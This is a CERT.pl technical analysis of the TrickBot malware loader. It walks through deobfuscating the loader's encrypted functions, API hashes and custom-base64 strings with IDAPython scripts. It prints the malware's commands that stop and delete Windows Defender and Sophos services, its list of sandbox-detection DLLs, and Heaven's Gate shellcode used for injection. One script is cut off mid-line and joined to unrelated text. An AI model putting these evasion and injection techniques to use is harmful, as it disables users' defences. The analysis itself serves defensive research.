Detricking TrickBot Loader Archived: 2026-04-05 13:56:25 UTC TrickBot (TrickLoader) is a modular financial malware that first surfaced in October in 20161. Almost immediately researchers have noticed similarities with a credential-stealer called Dyre. It is still believed that those two families might’ve been developed by the same actor. But in this article we will not focus on the core itself but rather the loader whose job is to decrypt the payload and execute it. Samples analyzed preloader b401a0c3a64c2e5a61070c2ae158d3fcf8ebbb51b33593323cd54bbe03d3de00 loader 8d56f6816f24ec95524d6b434fc25f9aad24a27dbb67eab0106bbd7b4160dc75 core-32b cbb5ea4210665c6a3743e2b7c5a29d10af21efddfbab310035c9a14336c71de3 core-64b 028e29ef2543daa1729b6ac5bf0b2551dc9a4218a71a840972cdc50b23fe83c4 core-64b-loader 52bc216a6de00151f32be2b87412b6e13efa5ba6039731680440d756515d3cb9 Original binary While the binary has two consecutive loaders, the first one will be glossed over because of low level of complexity: Original binary’s entry point, observed symbols were embedded in the binary Functions buffer The first thing we notice after loading the RC4-decrypted payload from the previous stage is that IDA hasn’t automatically recognized a single valid function. https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 1 of 18 The binary’s entry point This section’s permissions are also looking quite suspicious, because section needs to be readable, executable and writable. Function that starts just after the chunks lengths’ last entry (begins at 0x40108C), is responsible for calculating the starting offset for each function (or binary chunk) and storing it into an array stored on stack. Function used for calculating addresses The functions’ objective is pretty straight-forward: https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 2 of 18 Iterate over the null-terminated chunks lengths array If a length is larger than or equal to 0xFFF0, fetch the full length from a second buffer located further in the data (+0xCDFA in this sample) Add the current function’s length to the accumulator Push the accumulator onto stack The final array of pointers looks as follows (remember that since values are pushed onto stack, the pointers are reversed relatively to their position in the lengths array): The pointer to the array is stored in EBP register and passed between almost all functions in the future Code encryption The previously mentioned code encryption is done using a standard repeating xor cipher: _BYTE *__usercall decrypt_function@(int a1@, int a2@, int a3@) { _DWORD *v3; // eax _BYTE *function_body; // edi int length; // ecx int *key; // esi signed int i; // ebx int v8; // eax _BYTE *v10; // [esp-8h] [ebp-14h] v3 = (_DWORD *)(a2 - 4 * a1); function_body = (_BYTE *)*v3; length = *(_DWORD *)(a2 - 4 * a1 - 4) - *v3; v10 = (_BYTE *)*v3; key = (int *)(*(_DWORD *)(a2 + 4) + 0x1C8); i = 14; // key length do { v8 = *key; key = (int *)((char *)key + 1); *function_body++ ^= v8; if ( !--i ) { https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 3 of 18 key = (int *)((char *)key - 14); i = 14; // cycle the key } --length; } while ( length ); return v10; } The xor key seems to be located around the base64-encoded strings: In this sample, the key is equal to FE9A184E408139843FA99C45943D All we really have to do is iterate over all functions, decrypt their body with xor and mark the functions. # chunks' lengths array lengths_addr = 0x0040100E # extra chunks' lengths array long_lengths_addr = 0x0043DE08 # recovered encryption key xor_key = 'FE9A184E408139843FA99C45943D'.decode('hex') def dexor_region(addr, length, key): for i in range(length): PatchByte(addr + i, Byte(addr + i) ^ ord(key[i % len(key)])) def get_functions_offsets(): i = 0 current_offset = lengths_addr while True: last_length = Word(lengths_addr + i * 2) i += 1 https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 4 of 18 # we need to fetch the length from the second array if last_length >= 0xfff0: second_offset = last_length - 0xfff0 last_length = Dword(long_lengths_addr + second_offset * 4) if not last_length: break current_offset += last_length # retrun (addr, size) yield (current_offset, Word(lengths_addr + i * 2)) for addr, length in get_functions_offsets(): dexor_region(addr, length, xor_key) Wrapper function As seen in previous screenshots, all function calls are performed using a function wrapper that: Accepts index of the function to execute Grabs the function’s address from the global table Decrypts the function code Calls the decrypted function Encrypts the function code back again Example function wrapper call Detricking In order to simplify our analysis we’ll patch the binary and replace the wrapper calls with direct function calls. Almost every wrapper call is exactly the same, which will be very helpful: 6A XX push E8 YY YY YY YY call XX is a single unsigned byte that determines the index of the wrapped function. YY YY YY YY is a 32-bit, relative, little-endian integer that marks the address of the wrapper function. Our plan is to patch the whole call blob to: https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 5 of 18 E8 ZZ ZZ ZZ ZZ call 90 nop 90 nop where ZZ ZZ ZZ ZZ is the relative address of the wrapped function. To do that, we’ll use an idapython script: import struct # list of calculated functions offsets offsets = [0x40100E, 0x4010F5, 0x401340, 0x401400, 0x40143D, 0x401500, 0x4015B6, 0x41EE8D, 0x41EF67, 0x41F010, 0x41F09F, 0x41F106, 0x41F20D, 0x41F3A6, 0x41F3E6, 0x41F3FF, 0x41F466, 0x41F4B7, 0x41F505, 0x41F55E, 0x41F61D, 0x41F6C8, 0x41F906, 0x41F975, 0x41FACF, 0x41FD05, 0x42037F, 0x4203BD, 0x4203DE, 0x42045E, 0x42049E, 0x4204D7, 0x420510, 0x42052D, 0x4205AF, 0x420CBE, 0x420D40, 0x420EF7, 0x420F47, 0x421030, 0x4210BD, 0x4211E8, 0x421208, 0x4219CD, 0x421A07, 0x421A5F, 0x421A96, 0x421AB5, 0x421ACE, 0x421B1D, 0x43B788, 0x43B7CE, 0x43D6CE, 0x43D6E7, 0x43D76F, 0x43D7C0, 0x43D800, 0x43D85F, 0x43D8E8, 0x43D98D, 0x43DA4D, 0x43DC0D, 0x43DC48] def PatchManyBytes(addr, data): for i, c in enumerate(data): PatchByte(addr + i, ord(c)) # interate through all function_wrapper calls for x in XrefsTo(0x0040143D): # move back to push location new_addr = x.frm - 2 print('Patching {addr}'.format(addr=hex(new_addr))) # get the whole blob data = GetManyBytes(new_addr, 7) # make sure all calls match the format assert data[0] == '\x6a' assert data[2] == '\xe8' # get the function index index = ord(data[1]) # calculate the new address offset = offsets[index] - new_addr - 5 # pack the new address into bytes fixed_addr = struct.pack("> (bit_size - (bits % bit_size))) __ROL4__ = lambda val, bits: _rol(val, bits, 32) def hash(name): return reduce(lambda x,y: y ^ __ROL4__(x, 7), map(ord, name), 0) We’ll also need a list of functions exported by windows DLLs. We’ve found that scraping http://www.win7dll.info/ actually works pretty well for that purpose. Now we need to iterate over all hashes and find a correct function name for each one: ('0x95902b19', 'ExitProcess') ('0x3d9972f5', 'Sleep') ('0x69260152', 'GetTickCount') https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 8 of 18 ('0x68807354', 'GetProcessHeap') ('0xfb0731a', 'GetCommandLineW') ('0x8fe061a', 'FindResourceW') ('0x1a10bd8b', 'LoadResource') ('0x46318ad1', 'CreateProcessW') ('0xd89ad05', 'GetCurrentProcess') ('0x3a35705f', 'VirtualFree') ('0x86867f0e', 'SizeofResource') ('0x407a1c7c', 'GetStartupInfoW') ('0x1fc0eaee', 'GetProcAddress') ('0x697a6afe', 'VirtualAlloc') ('0xc8ac8026', 'LoadLibraryA') ('0x1510bd8a', 'LockResource') ('0xa9de6f5a', 'VirtualProtect') ('0x723eb0d5', 'CloseHandle') ('0x74b624be', 'GetNativeSystemInfo') ('0x375ef11f', 'Wow64DisableWow64FsRedirection') ('0x3fa5492e', 'Wow64RevertWow64FsRedirection') ('0x2ee4f11b', 'CopyFileW') ('0x774393fe', 'GetModuleFileNameW') ('0x515be741', 'lstrcmpiW') ('0x2ca5f370', 'lstrcpyW') ('0x2ca1b5f0', 'lstrcatW') ('0x2d40b8f0', 'lstrlenW') ('0xa073561', 'CreateDirectoryW') ('0xa48d6774', 'GetModuleHandleW') ('0x3def91ac', 'GetComputerNameW') ('0x78b00c68', 'GetWindowsDirectoryW') ('0x8054817d', 'GetTickCount64') ('0x49a1375c', 'GetSystemDirectoryW') ('0x8f8f102', 'CreateFileW') ('0xf3fd1c3', 'WriteFile') ('0x9c480e32', 'GetVersionExW') ('0x475587a1', 'GetFileAttributesW') ('0x20e4e9fb', 'MoveFileW') ('0x81f0f0c9', 'DeleteFileW') ('0x9e6fa842', 'TerminateProcess') ('0xfbc6485b', 'Process32FirstW') ('0x98750f33', 'Process32NextW') ('0x5bc1d14f', 'CreateToolhelp32Snapshot') https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 9 of 18 ('0x99a4299d', 'OpenProcess') ('0x1', 'unknown_1') ('0xdf91e0a8', 'CommandLineToArgvW') ('0xdeaa9557', 'SHGetFolderPathW') ('0x570bc88f', 'ShellExecuteW') ('0x2', 'unknown_2') ('0xa638da59', 'NtQueryInformationProcess') ('0x9016cd2b', 'RtlAllocateHeap') ('0xa0d425d2', 'RtlReAllocateHeap') ('0x3594af64', 'RtlFreeHeap') ('0x3287ec73', 'RtlInitUnicodeString') ('0xb81e8f04', 'RtlEnterCriticalSection') ('0x728da026', 'RtlLeaveCriticalSection') ('0xcd0b9be8', 'NtQueryInformationToken') ('0xbf639c5e', 'LdrEnumerateLoadedModules') ('0x952a9e4', 'NtAllocateVirtualMemory') ('0x65e1', 'unknown_65e1') ('0x3', 'unknown_3') ('0x45b615c3', 'PathCombineW') ('0x4', 'unknown_4') ('0xaad67fee', 'RegOpenKeyExW') ('0x1802e7de', 'RegQueryValueExW') ('0xdb355534', 'RegCloseKey') ('0xb9d41c39', 'GetUserNameW') ('0x5cb5ef72', 'FreeSid') ('0x1b3d12af', 'LookupPrivilegeValueW') ('0x7a2167dc', 'AdjustTokenPrivileges') ('0x9f96fdbb', 'RevertToSelf') ('0xcebd40a1', 'DuplicateTokenEx') ('0x80dbbe07', 'OpenProcessToken') ('0xd4ecc759', 'GetTokenInformation') ('0x28e9e291', 'AllocateAndInitializeSid') ('0x1d1f334a', 'EqualSid') ('0x3e400fc0', 'RegSetValueExW') ('0x78cec357', 'CloseServiceHandle') ('0xa06e458a', 'OpenSCManagerW') ('0x83969972', 'OpenServiceW') ('0xf6c712f4', 'QueryServiceStatusEx') ('0x90a097f0', 'RegCreateKeyExW') ('0x5ffee3f1', 'ControlService') https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 10 of 18 ('0x1f', 'unknown_1f') ('0xf341d5cf', 'CoInitialize') ('0x381cf0db', 'IIDFromString') ('0x59bcf1d5', 'CLSIDFromString') ('0xea92b37d', 'CoGetObject') All that’s left now is to create an IDA struct that contains the function names and set the global array to the proper type: Before After Now, it looks much better! String encoding All strings are encoded using base64 with a custom alphabet, it’s explained pretty well in several blog posts already 23 The custom charset is a permutation of the default base64 charset, e.g. JTQ2czLo5NfrsUjZFSkgOlYRB6yKhva/uA83d4GiteMwn17xmIEVX+qP0W9DbHCp. https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 11 of 18 Function used to fetch a decrypted base64 string with a given index Detricking After de-wrapping the function calls, the assembly actually looks quite similar to the previous iteration (notice the nops that are result of our earlier patches): 6A 1C push 1Ch E8 F1 F6 FF FF call get_string 90 nop 90 nop Which means we can reuse some of our previous code. But instead of patching the call instructions to mov instructions, we’re just going to add comments in assembly to annotate the original string: import string import base64 # list of null-terminated strings grabbed from the binary strings = 'hqA4KLmVs8WdKLm\x00KiSdKLm76LIn\x00hqAnvqzmykWdKLm\x00BYSqBRTesV576LIn\x00F3BX\x00sF\x00su\x00hP63yL # our charset key = 'JTQ2czLo5NfrsUjZFSkgOlYRB6yKhva/uA83d4GiteMwn17xmIEVX+qP0W9DbHCp' # standard base64 charset std_b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 12 of 18 # decode base64 with different charset def custom_decode(data): trans = data.translate(string.maketrans(key, std_b64)) if len(trans)%4 != 0: trans += '='*(4 - len(trans)%4) return base64.b64decode(trans) # there are 3 actual string wrappers which differ in the location of returned string for addr in [0x0041F466, 0x004204D7, 0x004211E8]: for x in XrefsTo(addr): new_addr = x.frm - 2 print('String getter at {addr}'.format(addr=hex(new_addr))) data = GetManyBytes(new_addr, 7) if data[0] == '\x6a' and data[2] == '\xe8': index = ord(data[1]) - 1 decoded = custom_decode(strings[index]) set_cmt(new_addr, decoded, False) Overview After applying all of the described anti-anti-analysis patches, we end up with a pretty decent-looking binary. Main function: void __cdecl __noreturn main_thingy(int a1) { int v1; // [esp+0h] [ebp-C14h] char v2; // [esp+144h] [ebp-AD0h] int v3; // [esp+808h] [ebp-40Ch] char *v4; // [esp+80Ch] [ebp-408h] int v5; // [esp+810h] [ebp-404h] char v6; // [esp+8B4h] [ebp-360h] int savedregs; // [esp+C14h] [ebp+0h] v5 = 0; v4 = 0; dword_43E958 = &v2; dword_43E963[0] = &v6; load_libraries(0x43E77C, &function_hashes); machine_64b = check_if_amd64_or_itanium(); startup_info = 0x44; (api.kernel32_GetStartupInfoW)(0x43E8CA); https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 13 of 18 if ( check_shady_dlls() ) { (api.kernel32_Sleep)(4000); } else { kill_antimalware(); v3 = 1; // fetch first binary if ( !checks() ) { if ( machine_64b ) ++v3; // fetch second binary v1 = wrap_decompress(&savedregs, v3, 0); v4 = RtlReAllocateHeap_wrap(v1 + 4096, 0); wrap_decompress(&savedregs, v3, v4); if ( pe_parser(v4, v1, &machine_64b) ) execute_payload(v4, v1); } } (api.kernel32_Sleep)(500); (api.kernel32_ExitProcess)(0); } Anti-debugging/sandbox checks DLL checks The binary iterates over DLL names stored in strings and checks if any of them is present in the PEB InMemoryOrderModuleList linked list: signed int check_dlls() { int v0; // eax int i; // [esp+0h] [ebp-Ch] int v3; // [esp+8h] [ebp-4h] v3 = 0; for ( i = 10; i < 21; ++i ) { v0 = get_string(i); if ( find_module_in_peb(v0) ) return 1; } return v3; https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 14 of 18 } int __cdecl find_module_in_peb(int dll_name) { int v2; // [esp+0h] [ebp-10h] PEB *v3; // [esp+4h] [ebp-Ch] LIST_ENTRY *v4; // [esp+8h] [ebp-8h] LIST_ENTRY *v5; // [esp+Ch] [ebp-4h] v3 = NtCurrentPeb(); if ( !v3 ) return 0; v4 = &v3->Ldr->InMemoryOrderModuleList; v5 = v4->Flink; if ( v3->Ldr == 0xFFFFFFEC ) return 0; if ( v5 ) { while ( v4 != v5 ) { v2 = &v5[-1]; if ( v5 != 8 && strcmp(*(v2 + 48), dll_name) ) return *(v2 + 24); v5 = v5->Flink; } } return 0; } DLLs checked: pstorec.dll vmcheck.dll dbghelp.dll wpespy.dll api_log.dll SbieDll.dll SxIn.dll dir_watch.dll Sf2.dll cmdvrt32.dll snxhk.dll Antimalware services A series of checks is performed using QueryServiceStatusEx in order to detect any anti-malware services currently running on the system. If a service is detected, the loader tries to disable it accordingly: WinDefend cmd.exe /c sc stop WinDefend https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 15 of 18 cmd.exe /c sc delete WinDefend TerminateProcess MsMpEng.exe TerminateProcess MSASCuiL.exe TerminateProcess MSASCui.exe cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true RegSetValue SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware RegSetValue SOFTWARE\Microsoft\Windows Defender Security Center\Notifications DisableNotifications MBAMService ControlService MBAMService SERVICE_CONTROL_STOP SAVService TerminateProcess SavService.exe TerminateProcess ALMon.exe cmd.exe /c sc stop SAVService cmd.exe /c sc delete SAVService Checks IEFO4. key for ‘MBAMService’,’SAVService’,’SavService.exe’,’ALMon.exe’,’SophosFS.exe’,’ALsvc.exe’,’Clean.exe’,’SAVAdminService and sets Debugger registry key to kjkghuguffykjhkj if a match is found Loading binary The binaries embedded in the loader are encrypted using the same xor cipher method as the functions, however they are also compressed using MiniLZO 2. The methods of executing the payload differ for 32 and 64-bit binaries. While the former is pretty straight-forward, the latter integrated a more sophisticated code injection technique. Firstly, a new suspended process is created (in this sample with process name equal to “svchost”), then the execution transfers to a dynamically-generated shellcode that performs a switch from 32-bit compatibility mode to 64-bit using a trick called Heaven’s Gate5. Finally, the shellcode performs a call to the decrypted 64-bit helper shellcode which then finally jumps to the 64-bit core. *shellcode = 0x83E58955; *&shellcode[4] = 0x9AF0E4; *&shellcode[8] = 0x33000000; *&shellcode[12] = 0x5DEC8900; *&shellcode[16] = 0xEC8348C3; *&shellcode[20] = 0xE820; *&shellcode[24] = 0x83480000; *&shellcode[28] = 0xCB20C4; v28 = VirtualAlloc_wrap(32, 0, 64); if ( !v28 ) return v18; qmemcpy(v28, shellcode, 0x80u); *(v28 + 7) = v28 + 17; // patch first call *(v28 + 22) = *(v13 + 10) + v22 - (v28 + 26);// patch second call if ( !create_suspended_process(&hprocess, &hthread) ) return v18; v5 = VirtualAlloc_wrap(32, 0, 64); *v5 = binary_data; *binary_data = 'ZM'; *(v5 + 8) = header_size; https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 16 of 18 *(v5 + 12) = 0; *(v5 + 16) = hprocess; *(v5 + 24) = hthread; v24 = (v28)(v5, 0, 0); if ( v24 ) return v18; (api.kernel32_CloseHandle)(hprocess); (api.kernel32_CloseHandle)(hthread); v18 = 1; return v18; The included shellcode deassembles to // 32 bit 00000000 55 push ebp 00000001 89e5 mov ebp,esp 00000003 83e4f0 and esp,0xfffffff0 00000006 9a000000003300 call 0x33:0x0 // gets patched to the 64 bit absolute address 0000000d 89ec mov esp,ebp 0000000f 5d pop ebp 00000010 c3 ret // 64 bit 00000011 4883ec20 sub rsp,0x20 00000015 e800000000 call loc_0000001a // gets patched to core-64b-loader's entrypoint 0000001a 4883c420 add rsp,0x20 0000001e cb retf Modules As of today, TrickBot is distributing following modules: domainDll32.dll bf50566d7631485a0eab73a9d029e87b096916dfbf07df4af2069fc6eb733183 importDll32.dll f9ebf40d1228fa240c64d86037f2080588ed67867610aa159b80a553bc55edd7 injectDll32.dll a515f4f847e8d7b2eb46a855224c8f0e9906435546bb15785b6770f2143bc22a mailsearcher32.dll 46706124d4c65111398296ea85b11c57abffbc903714b9f9f8618b80b49bb0f3 networkDll32.dll c8c789296cc8219d27b32c78e595d3ad6ee1467d2f451f627ce96782a9ff0c5f outlookDll32.dll 9a529b2b77c5c8128c4427066c28ca844ff8ebbd8c3b2da27b8ea129960f861b pwgrab32.dll fe0f269a1b248c919c4e36db2d7efd3b9624b46f567edd408c2520ec7ba1c9e4 shareDll32.dll af5ee15f47226687816fc4b61956d78b48f62c43480f14df5115d7e751c3d13d squlDll32.dll b8b757c2a3e7ae5bb7d6da9a43877c951fb60dcb606cc925ab0f15cdf43d033b systeminfo32.dll dff1c7cddd77b1c644c60e6998b3369720c6a54ce015e0044bbbb65d2db556d5 https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 17 of 18 tabDll32.dll 479aa1fa9f1a9af29ed010dbe3b080359508be7055488f2af1d4b10850fe4efc wormDll32.dll 627a9eb14ecc290fe7fb574200517848e0a992896be68ec459dd263b30c8ca48 References 1 https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/ 1 https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html 2 https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/ 4 https://blog.malwarebytes.com/101/2015/12/an-introduction-to-image-file-execution-options/ 5 http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/ Source: https://www.cert.pl/en/news/single/detricking-trickbot-loader/ https://www.cert.pl/en/news/single/detricking-trickbot-loader/ Page 18 of 18